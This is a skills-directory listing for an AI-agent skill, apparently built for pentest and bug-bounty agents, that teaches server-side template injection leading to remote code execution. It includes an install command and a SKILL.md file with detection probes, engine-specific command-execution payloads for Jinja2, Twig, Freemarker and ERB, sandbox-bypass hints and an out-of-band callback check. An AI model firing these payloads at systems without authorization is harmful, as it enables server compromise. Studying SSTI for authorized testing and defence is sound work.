Skip to content
Back to skills

Web Ssti

ASecurity

Server-Side Template Injection → RCE. Load when user input is rendered by a template engine: profile names in emails, custom reports, "hello {{name}}", error pages echoing math, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars. Signals: {{7*7}} returns 49, ${...} or #{...} evaluated, framework stack traces mentioning a templating engine.

  • 20 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added September 22, 2026
ai-agentspythongojavarubyphpexpress

Works with

  • cli

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned September 22, 2026

npx -y skills add NoorQureshi/SploitAgent --skill web-ssti --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web Ssti?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Web Ssti
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/noorqureshi-web-ssti/badge)](https://www.skillsdirectory.com/skills/noorqureshi-web-ssti)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-ssti
description: >
  Server-Side Template Injection → RCE. Load when user input is rendered by a template
  engine: profile names in emails, custom reports, "hello {{name}}", error pages echoing
  math, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars. Signals: {{7*7}} returns 49, ${...}
  or #{...} evaluated, framework stack traces mentioning a templating engine.
domain: web
type: technique
stability: learning
modes: [pentest, bugbounty]
severity: critical
owasp: [A03:2021-Injection]
cwe: [CWE-1336, CWE-94]
tools: [tplmap, burp]
schema_version: 1
---

# Server-Side Template Injection (SSTI)

## When it applies
Input flows into a server-side template that is *evaluated*, not just interpolated as text.
Common in email/notification templates, custom dashboards, and any "use variables in your
message" feature.

## Why it works
Template engines execute expressions. If attacker input becomes part of the template source
(rather than a bound variable), the engine evaluates it — and most engines expose object
introspection that reaches OS command execution.

## Method
> **Payloads & full variation set:** [`cheatsheet.md`](cheatsheet.md) next to this file — work the set, not the first line.
1. **Detect** with a polyglot and engine-specific probes:
   `${7*7}` `{{7*7}}` `<%= 7*7 %>` `#{7*7}` `{7*7}` — a rendered `49` (not literal text) confirms.
2. **Identify the engine** by which syntax evaluated and by error messages, then branch:
   - **Jinja2 (Python)**: `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`
   - **Twig (PHP)**: `{{ ['id']|filter('system') }}` or `_self.env.registerUndefinedFilterCallback`.
   - **Freemarker (Java)**: `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}`.
   - **ERB (Ruby)**: `<%= \`id\` %>`.
3. **Automate/confirm** with `tplmap -u <url>` once you know it's injectable, but understand the
   payload — WAFs and sandboxes need manual gadget-chaining.

## Gotchas
- `{{7*7}}` → `49` is SSTI; `{{7*'7'}}` behaviour distinguishes Jinja (`7777777`) from Twig (`49`).
- Sandboxed engines (Twig sandbox, Jinja SandboxedEnvironment) block direct globals — hunt for a bypass gadget.
- XSS ≠ SSTI: `<svg>` rendering is client-side; only server-side *evaluation* of expressions is SSTI.

## Verify success
Command output (`uid=...` from `id`) reflected in the response, or an OOB callback from
`curl`/`nslookup` run through the payload.

## References
PortSwigger SSTI labs; James Kettle "Server-Side Template Injection".

Files in this skill

  • SKILL.md2.5 KB
  • cheatsheet.md3.4 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…